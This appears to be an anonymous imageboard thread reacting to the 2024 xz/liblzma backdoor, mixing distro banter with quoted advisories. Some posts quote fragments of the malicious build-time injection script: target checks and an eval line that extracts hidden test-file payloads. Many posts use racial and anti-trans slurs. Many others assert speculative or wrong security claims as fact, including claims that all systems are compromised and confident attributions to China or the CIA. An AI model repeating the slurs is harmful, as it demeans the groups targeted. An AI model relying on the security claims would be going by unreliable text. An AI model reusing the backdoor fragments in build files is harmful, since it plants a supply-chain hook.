Updooted your Debian? You probably need to reinstall and change all passwords. Too bad. Stable chads however are not affected.
https://www.openwall.com/lists/oss-security/2024/03/29/4
 Ape Out Shirt $21.68 |
 |
Ape Out Shirt $21.68 |
Distributed tarballs of xz has been backdoored.
>C/C++ bullshit again
when will cniles learn?
Language used barely matters when someone is literally inserting backdoor code in your tarball.
The backdoor is in the autoconf hellhole. Only C/C++ use autoconf.
that's just the method that was used here, if they can do that then they could've done something else with other build systems and/or languages too
they've been letting him upload random binary files for a long time without even checking what they are. this project is toast
He's pushing directly to master. He can do whatever he wants.
>they could've done something else with other build systems
wrong, it impossible to do with cargo.
don't pull that shit here, it's not true. cargo needs sandboxing badly for build.rs
build.rs is just Rust code.
autoconf is an unholy abomination.
yes, and there's no way to lock build.rs from filesystem or network access
you can just read it, it's just Rust code.
you can not just read autoconf.
The code was only in the signed tarballs precisely because nobody reads that code, everyone just assumes it matches the git repo.
>Rust
This would be like if dtolnay injected a backdoor into his cargo crates.
No, Rust does not protect you from this.
>but muh autoconf is heckin unreadable
xz can be built with cmake too, but I don't trust anything this guy touched
and autoconf is good enough for GNU, so the build system is NOT the issue
>wrong, it impossible to do with cargo
when did IQfy become so tech illiterate?
more like autoconf bullshit. but yeah, it comes with the C ecosystem. they can't even have a sane build system.
What's with this instinct to blame random bits of technology? Has exposure to IQfy rotted your brains away?
You think the PLA SSF agent who took over the project would have just shrugged and given up if they'd made different choices? Would he have been too blinded by the cleansing power of cmake to distribute any malware?
>t. troony
Every time without fail.
only shitlangs use autoconf. c build tools are impossible to understand and audit. part of the reason for this attack is because no one reads what it does and just assumes it to be impenetrable
A sane makefile isn't long. You can also use newfangled shit like meson. Autoconf is just typical GNU bloat and braindeath.
There are no sane makefiles
> that backdoor
shifty chink work
> coping troony
it's not cia. it's chinks.
The exploit relies on systemd crap
100% NSA-enabled. This backdoor isn't a one-man effort either.
Its also uronic that this wont work on strict SELinux systems
>The exploit relies on systemd crap
Almost as if they didn't target your porn stash but a specific system configuration...
>Chinese Intelligence Agencies
>CIA
They are the same picture
This is hate speech. Delete this now, or I will consult the appropriate authorities.
quite right, anon.
There's fricktons of these CIA planted exploits in critical open source projects, this one just got discovered by pure chance.
Absolutely nobody is auditing foss code until after the damage has been done.
They don't even have to go to the trouble of planting backdoors into the codebase, just put them into the compiled binaries, everyone blindly trusts package repos and even add untrusted ones if a stupid stack overflow guide tells them to.
based autoconf soup
>CIA
>chinese name
sure thing
it's most definitely cia
chinks would use an american
The other thing is that if people are trying to plant this sort of thing in Linux programs there's almost certainly a million in Windows et all that nobody is ever going to find.
Sure there may be CIA exploits but I'd still rather not have every chink company digging around my files to sell to anyone.
>Absolutely nobody is auditing foss code until after the damage has been done.
This is almost entirely 100% true.
This is why you minimize dependencies. If you have so many dependencies you need tools to manage them automatically you're already fricked.
Gentoo masked it before this was even announced, and hasn't been enabling libsystemd support on openssh even on systemd profiles so impact is limited (it abuses openssh->libsystemd->liblzma, not to say there may not be other ways to abuse it).
isn't arch safe too? they never patch upstream packages.
Hope you're xz-utils is over two years old and not actually trusting the git repo either.
>Very annoying - the apparent author of the backdoor was in communication with me over several weeks trying to get xz 5.6.x added to Fedora 40 & 41 because of it's "great new features". We even worked with him to fix the valgrind issue (which it turns out now was caused by the backdoor he had added). We had to race last night to fix the problem after an inadvertent break of the embargo.
>He has been part of the xz project for 2 years, adding all sorts of binary test files, and to be honest with this level of sophistication I would be suspicious of even older versions of xz until proven otherwise.
zstd chads win again
>trusting the facebook backdoor
Use lzip
https://www.nongnu.org/lzip/xz_inadequate.html
>Plot twist. JiaT75 and Andres Freund are actually both Antonio Diaz Diaz. This whole thing was orchestrated as an epic revenge scheme against xz, years in the planning.
Imagine.
>using guix
>git blame xz to check
>.tar.gz hash last modified 2022-11-14
>frick, who did this?
>committer has a .co.il email
when I say every time I mean EVERY fricking time
Appreciate the heads up anon.
So this is only affecting the sshd binary? I'm only running stable and no sshd service on my box
>Guy that did this was also recently added as a [Linux] upstream kernel maintainer.
>https://lore.kernel.org/lkml/[email protected]/
L-linux sisters? Our response?
FRICK
Praying for Joe Biden or Trump to outlaw autoconf
can they also outlaw js and programs with more than 100k LOC? thanks
xz is also buildable with cmake, could he have compromised the cmake build system too?
nobody knows how to read that shit either. banish the entire c build system lmao
>Debian
Why do you waste that perfectly good oil?
That backdoor was introduced by a chink btw.
Oh look, it's a photo of """"""""Hans Jansen"""""""" the totally trustworthy Linux distribution contributor
>grep -Eq "linux-gnu$"
WSL chads win again
This particular exploit is only targetting Debian and RPM based distros like Fedora, CentOS, RHEL
Although any software this guy touched could be compromised
>openssh does not directly use liblzma. However debian and several other
>distributions patch openssh to support systemd notification, and libsystemd
>does depend on lzma.
Poettering strikes again
I knew it was systemd bullshit again. No init system needs over 2 million lines of code and anyone that says different is a CIA troony communist plant, and should thus be ignored.
>One portion of the backdoor is *solely in the distributed tarballs*
???!!!
$ xz --version
xz (XZ Utils) 5.4.6
liblzma 5.4.6
arch chads stay winning
>Versions 5.2.12, 5.4.3 and later have been signed with Jia Tan's OpenPGP key . The older releases have been signed with Lasse Collin's OpenPGP key .
> Just yesterday the author added a `SECURITY.md` file to the `xz-java` project.
> If you discover a security vulnerability in this project please report it privately. *Do not disclose it as a public issue.* This gives us time to work with you to fix the issue before public exposure, reducing the chance that the exploit will be used before a patch is released.
lol lmao even
yeah i saw that looking at his account too. a lot of cringe comments on commits
https://github.com/tukaani-project/xz/commit/af071ef7702debef4f1d324616a0137a5001c14c
This is pretty standard stuff when it comes to reporting a vulnerability
Hits different when it's literally the PLA asking you to not tell anyone else what they're doing.
~~*responsible*~~ disclosure
he also made vulnerability reporting worse
>china gets caught backdooring stuff again
linux cucks btfo
yea sure, you prefer to have your backdoors to run in kernel mode and be distributed by your OS vendor themself
> He doesn't know minix won and is currently exfiltrating all his furry porn to the NSA as we speak
>chink
every time
>make your system bloated as shit
>get backdoors trough convoluted indirect ways nobody can understand
Linux is for morons.
What system isn't bloated as shit and full of convoluted backdoors?
Microsoft Windows
Some BSDs. Some server or embedded Linux distros without desktops, if you don't count the kernel.
nkds
OpenBaSeD is the ONLY one. And it sucks for pretty much everything. I couldn't even bring myself to use it as a nas server because the filesystem sucks
puppy
TempleOS
An idiot admires complexity, a genius admires simplicity. Praise be to Terry.
>have the dumbest most asinine take on planet earth
>anime avatar
like pottery
Even if I uninstalled systemd, I'm on Debian so openssh-server will still depend on libsystemd.
Gentoo's status report:
As a summary so far:
* We had the (nominally) vulnerable versions in Gentoo. They were masked last night.
* The posted injection script appears to not fire on Gentoo as it looks for .deb and .rpm specific files/environment variables in the build environment, but it's possible (I haven't yet verified) tht other versions had a different set of criteria.
* In Gentoo, we don't patch net-misc/openssh with systemd-notify support which means liblzma, at least in the normal case, doesn't get loaded into the sshd process.
* The backdoor which is injected by the script during the build process MAY OR MAY NOT only work on sshd, it's unclear (people report it checks argv[0] but no in-depth analysis has been done yet or at least shared publicly; it's possible it activates on other binaries).
So it wont work on Nix either since builds are sandboxed. Damn it's almost like rpm, apt and yum are objectively inferior. I'm sure the ubuntu guys will say some deranged bullshit like "use snap for xz to avoid the issue" though
Yeah, they really want to push snap. Anyone who uses anything snap related should be ashamed of themselves.
Snaps are unironically great
Don't care, I'd never use it. Why would I use linux if I was going to use proprietary software? I may as well just switch to windows and the microsoft store.
>proprietary software
https://github.com/snapcore/snapd
That's the client. The software serving your snaps is proprietary, not AGPL like it should be.
>his package mirrors only run AGPL software
lol, sure
I said what it should be, as in what would be ideal and make me actually consider using it.
>So it wont work on Nix either since builds are sandboxed.
It won't work on Nix because it looks for deb or rpm builds, the sandbox wouldn't have saved you because it pulls the backdoor code from fake test files.
So it's a win for Nix because the malware doesn't target Nix despite said malware having being shipped with Nix? What kind of logic is this.
A LOOK AT THE TIME, IT'S "ONLY moronS USE BINARY DISTROS"-O'CLOCK AGAIN
>A LOOK AT THE TIME, IT'S "ONLY moronS USE BINARY DISTROS"-O'CLOCK AGAIN
hahhahaha based
The vulnerability is in the source tarball
You should still be worried if you've built a version of xz newer than 5.2
I don't even have xz installed, why would I use it, especially after this?
dumb moron
>The backdoor which is injected by the script during the build process
That's not a clock, homosexual.
>even the build system of C is dangerous
Cniles it's so over. Cargo does not have this problem.
so some hackerz might watching my anime right now
>Observed requirements for the exploit:
>b) argv[0] needs to be /usr/sbin/sshd
FHS considered harmful, Nix chads win again.
Nix doesn't even try and it wins! On the power of neurotic autism alone!!!
lol
it's using the git tag, not the affected tarball-- not to say it's particularly trustworthy either way
Yeah, also the script checks for debian or rpm based distros. So Arch is not affected.
The people at greatest risk are Fedoratards who beta test for Red Hat.
But since this guy is actually the maintainer of xz, every Linux distro, and BSD, anybody who uses xz, should be worried.
not the funniest
People were seething about this for years, saying XZ was the best, XZ was so good, just use XZ
All you can say now is "lol"
Arch's zstd depends on xz.
Also, zstd is maintained by Facebook (!!!)
Facebook was literally caught installing rootkits on iOS and Android.
Switch to lzip.
USE="-lzma" emerge zstd
echo "app-arch/lzip" > /etc/portage/package.mask
Cope
>Facebook was literally caught installing rootkits on iOS and Android.
wut
Look up Facebook vpn or watch the latest mental outlaw video
vpns/CAs are not rootkits
zstd's compression ratio is good tho
>we didn't listen
I'm only just realizing how utterly fricked up this is.
So what are the ramifications of this? Aside from possibly millions of computers being backdoored, what's going to happen to xz-utils? They'll probably kick out the guy who introduced the backdoor but who's to say he won't just come back under a different name?
Who's to say this guy (who probably doesn't exist under the name he used to contribute to xz) hasn't successfully pulled this off in various other projects?
Idk but you'd think especially after heartbleed, distro managers would AT LEAST be running all packages through test suites that make assertions about network traffic. At least with modern build systems like Nix, the attack surface area is diminished because binaries can't arbitrarily use libraries and executables that werent in the derivation, unless they specifically target NixOS and cross their fingers that the binaries they need are available and discoverable at runtime
The old maintainer, Lasse Collin, is probably the most trustworthy replacement.
Unless you think Jia Tan is Collin's throwaway and don't trust him either.
And a lot of work needs to be done, auditing every commit Jia Tan made.
xz is used everywhere.
Given that this Jia Tan guy contributes to libarchive, you might literally see OpenBSD fork it at this point lmao, LibreLZMA2
It's a beta release that never made it into any distribution b/c the exploit was caught.
Everyone will ignore this of course and there will be hundreds of doom threads for the next few weeks claiming the entire linux ecosystem has it installed. They're already beginning to shit up the catalog as we speak.
you fail to mention that the exploit was caught only because an autist wanted his system to be quieter. it wasn't caught by thorough review of the code by other linux maintainers. if not for this one guys autismo-maximo ways it would have gone undiscovered for god knows how long.
No, it was caught *first* by some autismo ricer. That in no way implies no one else would have caught it.
>The name may be "unstable" but it's been commonly regarded as more stable than rolling release distros and the preferred choice for debian users on desktop.
Only a literal moron would use unstable on a machine of any importance. Even without malicious code it can break.
>Only a literal moron would use unstable on a machine of any importance. Even without malicious code it can break.
Different people have different uses for computers. Should you run unstable on life-support mission-critical systems? Probably not. But if you just use your computer for watching youtube, banking, gaming, and note taking and enjoy having newer features I don't see why unstable is inherently bad. It only uses released software and usually takes a few days to include them anyway. There's a separate branch for experimental software that should be expected to break. If something does break you can just roll back. Stable can break too.
If you have important data on your computer you should not be using unstable or testing. This is just obvious.
Does that include all rolling release distros and debian based distros that include newer packages such as ubuntu?
If you don't back up your data you should not be using computers. This is just obvious.
It went into debian testing at the start of this month and was in unstable before that.
>don't use testing/unstable
Tons of people use it anyway because nobody wants 2 year old packages on their main desktop. The name may be "unstable" but it's been commonly regarded as more stable than rolling release distros and the preferred choice for debian users on desktop.
it would have not been caught had there been no performance issues
nobody is looking at anything and even if they were it wouldnt have been noticed
its a pretty serious indictment of the linux ecosystem
lmao
xz --version
xz (XZ Utils) 5.6.1
liblzma 5.6.1
is debiandog safe?
stable yes, sid no. updoot
NYOOOOOOO
https://github.com/NixOS/nixpkgs/commit/5c7c19cc7ef416b2f4a154263c6d04a50bbac86c
Whew, literally had a minor cardiac arrest there for a second
A sneaky build config to compromise a library to backdoor sshd in-memory. frick this shit
frick systemd also convoluted piece of garbage
>https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users
>PLEASE IMMEDIATELY STOP USAGE OF ANY FEDORA RAWHIDE INSTANCES
This is the worst Linux security breach since probably ever
>worst Linux security breach
*Fedora security breach.
how tf did ubuntu luck out? Isn't it built from Debian testing?
Yes, but Ubuntu sometimes changes what Debian does.
Testing pulled compromised library less than a month ago
We need a whole new computing architecture and new operating systems. All that memeing about cniles? Extend it to the Linux and Windows kernels.
Debian stable is unusable on desktop, though.
skill issue
irc.libera.chat:6697
#tukaani
>this incident response is costing my employer 300€/h, where can I direct our DFIR and SOC bills?
Was worth joining.
>"Despite only being 4.7% of the dev team, one chinese national is responsible for 100% of their backdoors."
rowdy crowd today
The most secure operating system strikes again
At least gentoo wasn't affected, thanks USE="-systemd"
Wouldn't matter even with systemd profiles for more than 1 reason, see
Sick, gentoo is literally the best distro then no matter what you use on it.
Open sores fails again
>Let's let any rando make changes to our codebase. What could possibly go wrong?
Lmao freetards.
>let's let an army of New Dheli indians write our new operating system, what could go wrong?
It's the same problem, just one step removed and harder to detect.
Nice spacing, newbie.
>he doesn't remember the microsoft leak
Windows is also affected: https://github.com/microsoft/vcpkg/pull/37199
>Because vcpkg builds liblzma from cmake sources downloaded from github and this backdoor required modifications only present in the release tarballs, it is our belief that vcpkg customers are not affected by this problem.
If only you could read.
That's not the point though.
lmao at that guy in the phoronix comments calling for microsoft to sue some random commenter for libel for saying windows has backdoors too
>windows has backdoors
Windows is a backdoor.
>>> Completed (1 of 1) app-arch/xz-utils-5.2.11::gentoo
Devuanchada win again
M$ poettercucks eternally btfo, as usual
i haven't updated my system since 2016 so i'm safe
fuxk fuxk fuxk gentoo ebuild fetches the source from the release tarball.
its actually over. i even did the profile update.
it's a nothingburger on gentoo, see comment just above yours
Rollback to 5.2.11
backdoor only built for deb and rpm
oh the 5.6.* is masked. its alright
has someone notified the arch irc yet?
Check the website, there's an entry on it. Basically just tells you funds are safu and to updoot "out of an abundance of caution"
Also
>systemd
>The attached de-obfuscated script is invoked first after configure, where it
decides whether to modify the build process to inject the code.
>These conditions include targeting only x86-64 linux:
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
Building with gcc and the gnu linker
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0
>Due to the working of the injected code (see below), it is likely the backdoor
can only work on glibc based systems.
ARM and Musl chads stay winning!
i hate glibc so much it's unreal
>hurrr the malicious maintainer didn't target me so I'm safe
Absolutely braindead
It's mostly Fedora morons at risk of this particular supply-chain attack, but don't trust anything signed by Jia Tan.
> I think this has been in the making for almost a year. The whole ifunc infrastructure was added in June 2023 by Hans Jansen and Jia Tan. The initial patch is "authored by" Lasse Collin in the git metadata, but the code actually came from Hans Jansen: https://github.com/tukaani-project/xz/commit/ee44863ae88e377...
glibc is compromised with a feature that only aims to own you
>accidentally found while benching postgres
https://mastodon.social/@AndresFreundTec/112180083704606941
wew lad
autism saves the day
>the worst security breach in the Linux world was found because some guy wanted his fans to spin up less
Imagine shilling for rolling release distributions after this.
old stuff isn't safe either, the guy has been "contributing" to xz for a while
> So for 5.4.5 the tagged release and download on github differ.
> There is no second argument to that printf for example. I think there is at least a format string injection in the older tarballs.
At least, with stable distributions, they'll be fewer exploits to chain and more time to discover them.
Apparently this is the only version available.
It only affected unstable and testing.
seems it only impacts x64 systems with sshd running
thankfully i dont have any x64 servers, so i'm assuming to be safe
Any deb or rpm distro.
With systemd, sshd, on glibc, with gnu-ld.
It also needs patched openssh, not the stock openbsd version, correct? The version with extra ~~*compression features*~~?
Not extra compression features, rather patched for systemd notification integration.
>open source is le safe
>everyone can review the code!!! dont worry
perfectly legible code
if test "x$gl_am_configmake" != "x"; then
gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
else
gl_[$1]_config=''
fi
HELP I CANT BASHHHH
homie thats the only reason why this is exosed now
yea, sure, a worker of a company would upload a backdoor to it hahaha
it only exists because every CIA Black person can push a pull request
This was done by the new project maintainer, not some random Black person. Someone put a lot of work into this one.
stupid, companies care about money
all CIA needs is to pay a penny to get backdoors
are you seriously arguing that soulless HR roasties and a sucked-dry code slaves are less likeky to make backdoors and more likely to find bugs than thousands of random turboautists?
>what is inserting agents
>what is blackmail
And with windoze code closed source, you'll never know if it's a backdoor or just windoze update being shit as always
Yes goy. Let trustworthy companies install backdoors straight into the kernel instead. It's safe and effective!
>YOU HAVE TO KEEP UPDOOTING STOP USING OLD SOFTWARES THEY ARE NOT SAAAAAAAAFE!!!1!
>Stable chads however are not affected.
Kek maybe not by this one but there is million other backdoors in stable distributions waiting to be discovered and guess who will receive fixes first?
https://security-tracker.debian.org/tracker/status/release/stable
378 open CVE's
https://security-tracker.debian.org/tracker/status/release/unstable
942 open CVE's
Wow, it's almost like rolling release is more unsafe than stable.
stable receives security updates before unstable
https://www.debian.org/doc/manuals/securing-debian-manual/ch10.en.html#id-1.11.2.5
>GitHub automatically includes two archives Source code (zip) and Source code (tar.gz) in the releases. These archives cannot be disabled and should be ignored.
L83-87
https://github.com/tukaani-project/tukaani-project.github.io/commit/42fbb0#diff-0eb547
lol
In retrospective all of this is super fricking shady. Updating the readme to say "dude pls don't make security bugs public", "don't trust the automatic .tar.gz from github", "just turn of this valgrind check :^) :^)" lmao
Yeah, this guy did it on purpose. Speculation such as that his machine was compromised and he injected the backdoor without knowing are not viable.
Correct. Orange reddit is moronic.
>BSDs not affected.
Feels good daemonbros.
> It is strongly advised to do a full system upgrade right away if your system currently has xz version 5.6.0-1 or 5.6.1-1 installed:
good thing i syu once a year
waht if you did that yesterday
Just nixos-rebuild --rollback switch
oh ... wait ..
nothing 1. it's a desktop with no open ports 2. can't see how it will fix anything if they use xz to make every package in their repo
Point two shouldn't matter on most linux systems since you just replace the library. Benefit of dynamic linking.
Honestly the biggest issue I see here is people patching openssh. OpenBSD isnt without flaws, especially on pronects like openssh that draw outside contributions, but i trust them more than any other major open source team. If they decided openssh doesnt need xz just fricking leave it that way
Btw what does this mean for the kernel? Linux has xz features, most notable being xz compressed initrd
Linux has xz features, most notable being xz compressed initrd
LINUX IS COMPROMISED.
https://lore.kernel.org/lkml/[email protected]/t/
Total freetard death
Arch bros...
https://archlinux.org/news/the-xz-package-has-been-backdoored/
>Arch does not directly link openssh to liblzma, and thus this attack vector is not possible. You can confirm this by issuing the following command:
Arch chads win again
>not verifying yourself
thats why this shit is even possible in the first place lul
Is it even illegal to do this or does the maintainer just not care because he's Chinese?
Please no racism here.
I'm not being racist, I'm just asking if the maintainer would even give a shit about American law if he lives in an opposing country, possibly even sponsored by the Chinese government.
WHY would you SPECIFICALLY mention the chinese government???? How do we know this isn't a rogue Zimbabwean, racist????
> this being a severe backdoor doesn't excuse racism
i think racism is a natural reaction to this shitfest. frick chinks btw (if it is them).
It would only be illegal if he didn't do it. The PLA doesn't take kindly to dissidence
So this affects only systems running debian (or derivatives) systemd and ssh?
Am a tard (beginner), can someone what's this mean? My arch is running 5.6.0_1 liblzma
What now?
you're compromised. there's literally no way to tell if someone has used this backdoor into your system and then installed hundreds maybe even thousands of backdoors using this exploit. nothing on your system can be trusted anymore. it's quite literally ogre. Burn it. Start over.
It's literally more over than that
>efi partition
he needs a new system.
Imagine having EFI at all or using any post-tpm processor even. Imagine not immediately checking a system with wireguard before installing an OS
NTA, but how do I do this with anything remotely modern, or is that the catch?
You pretty much can't and thats why china banned the use of intel or amd in government computers
>tfw when the exploit adds a backdoor to your isos when you dd them to a flash drive
It's so fricking over.
Arch isn't affected
sit back and enjoy the show
https://lists.debian.org/debian-security-announce/2024/msg00057.html
>Right now no Debian stable versions are known to be affected.
Assumedly a stable version could be affected if it used a backported version of this package, but as of right now this seems to be overblown. Still it should be a wake up call that no one is actually reviewing a huge amount of open source code, lmao. And of course they aren't. Do you know how much time and effort it takes to properly review code? Why would you do that shit for free?
The sad thing is that it's still being handled more efficiently than nonfree software. FOSS is not good, it's just less terrible.
Wintards would just say "version x.x.x has a known performance issue"
obscure systemdless distrochads just can't stop winning
This should be an invitation for Linux plumbers and users alike to immediately reevaluate whether they genuinely want to sleepwalk into catastrophe with needless dependence on systemd, or whether they want to take the first steps towards reasserting control over the security of their systems.
Because systemd is now exposed beyond dispute as a clear and present danger to the future of Linux as a secure platform.
Time to rewrite systemd in rust!
Rewrite it in whatever you want, but the first priority has to be making it so that every daemon in your system no longer has to link against libsystemd, with its QR code generator (https://github.com/systemd/systemd/blob/main/src/shared/qrcode-util.c) among much other bloat that exposes daemons to a big attack surface.
>its QR code generator
Its fricking WHAT? I am glad my blood memory told me to avoid it.
> qrcodes
> systemd
clown world
yeah displays a qrcode made out of ansi chars for errors or something. never seen it before myself.
In addition to the wtf, why the hell are they dlopening it?
Some fricking Terry Pratchett shit. XXX out of cheese ++++
systemd's shit reputation is well earned when it takes less than 2 seconds to find legit dogshit masquerading as "code".
Proof now.
>skiddies first day on 4chins
Uhm Linuxbros do we really need all those libs?
it does make a good case for dropping openssh-server in favor of dropbear or something like it.
I have 7 linked libraries on linux Gentoo
this, it's basically the same as on openbsd, only extra ones are linux-vdso.so.1 which is present on all linux binaries, other is libpam, which you can disable with a use flag
moron here
why would anyone run anything other than stable?
nothing works on stable
werks for me
Developers and distro maintainers.
Not only that, developers are a really good target.
Imagine if the hacker compromised their keys, and then signed malicious stable packages that then get pushed to you.
hmmm i see. clever.
thenks
Because getting no feature updates for 2-3 years is kinda lame. GIMP 3.0 will be out this May and stable users will have to either wait for years or deal with flatpaks/appimages. Though with how shitty new releases for everything have been lately, being stuck on stable might actually be preferable. See plasma 6's disastrous launch while stablechads are enjoying the best 5.x release.
arch literally just werkz
Oh husbandu we couldit be happy but you no let me tru backdoru whittu piggu.
Downloads/detect_sh.bin
probably vulnerable
oh frick oh frick oh frick
my stupid ass downgraded before I ran that
how do I test if I've been compromised
Why does `less` recognize that file as an ISO image? That's weird.
Some disk images use a .bin extension, so it's probably just guessing off of that and is wrong.
Is the solution to this to unironically install Gentoo?
What steps have you taken now that this is out in the open? I immediately updated my xz-utils and changed all my email passwords. I'll do a full OS reinstall soon but I'm waiting to see if more backdoors surface first.
Were you running debian unstable?
I actually went from debian unstable to testing 2 months ago because I was worried about newer software being buggy. Jokes on me I guess, I get buggy sloppy seconds shitware 2 weeks late plus the chinese xz vax.
so what are you gonna do now? how do you tell if you're compromised?
There's a script in one of the links in this thread to tell if you're compromised. I updated and changed my sensitive passwords but I'm not convinced this exploit hasn't already backdoored other parts of my system. I'm also concerned that other similar exploits will be discovered soon, so I'm holding off on a full OS reinstall. Most meaningful online accounts require 2FA anyway and I haven't detected any intrusions, so I'm not super worried about having my identity hijacked. I may try switching to opensuse, which I've started using on my secondary machines, but I've been using debian for over a decade and have grown attached to it.
There's also the concern that many developers have been compromised by this attack and their hijacked systems can add malware to the software they maintain. Even the linux kernel itself uses xz, so it's hard to trust that it's safe from this until more information is gathered.
I read the exploit code, then checked my system, i dont have an affected version and it wont work anyway because my /bin has exactly one file (sh) and /usr/bin has env, that's it.
of course it's a chink
they love their viruses
>xz maintainers still refuse to elaborate
lmao they have all been replaced by glowies. We will have to fork XZ.
It was an xz maintainer (possibly chink mole)
i wonder if "Jia Tan" will be executed because his backdoor got caught due to carelessness
moron here again
so what does the backdoor even do? collect passwords and send it to china or what?
nobody knows yet
but it might likely inject persistent backdoor into your system, which is a bit scary
alright cheers
ok, but how would the chinaman connect to my local devices? via open ports or something? i'm not very knowledgeable in these matters
If your SSH server isn't exposed to the internet you have nothing to worry about. Their goal was most likely to gain access to big corpos, government agencies, or critical infrastructure. The whole thing is too sophisticated to waste it attacking random servers and risk being detected.
ahh yes ok i see. cheers
Right now all we know is it was targetting sshd
So if you weren't running an ssh server you are probably okay
However, the extent of the damage has still not been fully assessed.
The author has 2 years worth of contributions that need to be audited. There could be other backdoors.
>The author has 2 years worth of contributions that need to be audited
do people just commit whatever they want without anyone authorizing it?
it messes with the public key authentication system, most likely to allow access to anyone with a specific key controlled by the attacker
>Debian
>$ xz --version
>xz (XZ Utils) 5.4.1
>liblzma 5.4.1
Not. My. Problem.
now that's what i call a spicy noodle
>/usr/lib/systemd/system/sshd.service
>disabled
not my problem
I would take a million jeets over one chink.
At least when they frick up it's due to pure stupidity and not malicious.
herro everyone
how are you today
i'm fine senk you
oh my gaaad
china won
the chinese intelligence infiltrated millions of linux servers with opensh installed
consider everything on these servers as compromised
logs, source codes, databases, confidential documents
it is literally over
This is why people should only use AMERICAN spyware like Microsoft Windows or Mac OS like a true PATRIOT.
the absolute state of the fricking world
Based on the shills in this thread, it must be CIA or mossad.
Nah, CIA and Mossad don't need this shit when they already have the hardware backdoor.
This is a roll call to all stable chads
More like all systemd avoiders
One thing I don't understand is how systemd comes into play here. If you use openssh, then wouldn't you be compromised regardless of whether you use systemd?
Basically openssh doesn't rely on the affected library but affected distros use a patch that makes it do so via systemd.
If you dont use those patches you are fine. If you dont use systemd you are fine. If you are on stable you are fine but wouldn't have been if it wasn't found.
>One thing I don't understand is how systemd comes into play here.
and right on cue, the systemd trannies come to its defense.
He literally just asked. Sure, could have read about it off-site but why not enjoy the habbening with the IQfyross
OpenSSH intentionally avoids linking against unnecessary libraries in order to reduce attack surface.
Many Linux distros, however, bowed to pressure from Poettering to patch their OpenSSH to link against libsystemd, a big library which itself links against several other libraries.
libsystemd includes compression functionality, and links against liblzma among others.
That's how the exploit is put into OpenSSH.
The best part is that they only link to libsystemd for a very simple function that is literally just writing "READY=1" to a UNIX pipe specified in an environment variable.
Debian Stable user reporting in. Servers, laptops, desktops, and htpc. It literally just works.
the guy was also doing webassembly runtime with rust?
Also libarchive. Which Windows now uses for file decompression :^)
Nothing to see here, nothing to worry at all!
It was just a documentation change.
Could be legit, if he was playing the long game then making random legitimate contributions makes a lot of sense.
>A couple of years ago I wrote a Go library that wraps the xz C code and allows you to do xz compression in Go: >https://github.com/jamespfennell/xz
>About a week ago I received the first PR on that repo, to upgrade to 5.6.1. I thought it was odd to get such a random PR...it's not the same GitHub account as upstream though.
>This repo has been dormant for 2/3 years with no PRs
now that's what i call a spicy Peking duck
Are Void linux users affected? I don't use debs or RPMs.
If I use ssh locally, am I affected? I use Tumbleweed and Fedora.
i'd say no if your router doesn't port forward ssh
>tfw I wanted to call my ISP/buy a new router to open them
What a timing
*tips fedora*
chinese intelligence is currently processing petabytes of data while you idiots are debating whether your anime machines were compromised or not
this security vulnerability is even bigger than the smolensk air disaster for the western world in which russians obtained nato cts-a documents
we will learn its real depth 20 years later from a documentary we downloaded to improve our chinese
it's over
We still don't actually know if it was China.
It would be good opsec for the NSA or CIA to LARP as Chinese so that a certain basketweaving forum blames the wrong country.
But yes, this is likely nation state actors. China? Russia? USA? Israel? Other Five Eyes? Nothing is certain.
sadly it was china my bioluminescent friend
consider any piece of information that is touching a public ip address as compromised by a chain of undiscovered exploits
you should start taking precautions instead of damage controlling people into complacency here
enter
the dragon
i did a quick look over the .o provided and didn't see anything too obvious
but I can't audit 10k lines of asm in 30 minutes
it sure sounds suspicious as frick but has anyone actually independently verified anything?
rather funny that no one has actually pinpointed the actual backdoor code or where it is called from
>release tarballs
Why do they even exist?
For machines that don't have package repo access, I guess.
The Arch build system will much of the time download a tarball and compare a checksum.
I find it really aggrivating to build some complex software system that has do download some patch version from github as part of a cmake build. What is wrong with a maintainer saying ok, this is a stable api, lets roll with this engineered release for a while?
Just use an automated, verifiable git snapshot.
Because downloading an entire Git repository just to get a snapshot of the project at a specific time is not a civilized way to install a program.
In case any of you guys missed it in the OP, there's an attachment in there at the bottom with a very simple shell script that gives a quick check to guess whether or not you are currently affected, if you aren't sure or not from all the other things people are saying.
Also, just to repeat for those using typical Arch installs, if you updooted recently you might have a known "dirty" version installed, but the attack vector the backdoor uses isn't present. If you do have one of the versions mentioned in the Arch homepage, though, you should still updoot again because why take the risk there aren't other obfuscated shenanigans in there?
backdoor was only built for .deb and .rpm based distros on x86_64
>if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
>If you do have one of the versions mentioned in the Arch homepage, though, you should still updoot again because why take the risk there aren't other obfuscated shenanigans in there?
The updooted version doesn't actually change anything.
https://www.openwall.com/lists/oss-security/2024/03/29/17
>The files are not identical, however, their disassembly is. Therefore, either both are trojaned, or none. Based on the "if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then" line, I think that the correct answer is "none", and therefore no advisory should have been created.
The attack was spread across multiple files, some of which were added to the tarballs separately from what was listed in the repo. That particular lib might be the same, but the rest of the package was re-made based off the repo contents, and would likely be less vulnerable. The full scope of things is still being worked out, so it isn't a 100% guarantee, just the best available.
now that's what i call a spicy dog
An outstanding read! Available as a free PDF.
Could someone explain the issue to me like I'm pic related, because right now, I feel like pic related.
What's this about Debbie's backhole? Why do I need to change my MSN Live Account Passwords? Are my Taskbar icons safe?
Your gay porn collection is safe, yet. No one knows how depper it went this problem.
Could be, the amount of shilling for CIA makes me think, this is a backdoor from them.
>run detect_sh.bin on both machines I own
>both probably not affected
whew
https://github.com/JiaT75/STest/assets/37901668/a6d9ae84-17e5-42ba-9fb7-13654053f43c
at least i will go down as a president
we arent shilling systemd to backdoor you thats a conspi-
>openssh does not directly use liblzma. However debian and several other
distributions patch openssh to support systemd notification, and libsystemd
does depend on lzma.
ok so _get_cpud is called like
uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16);
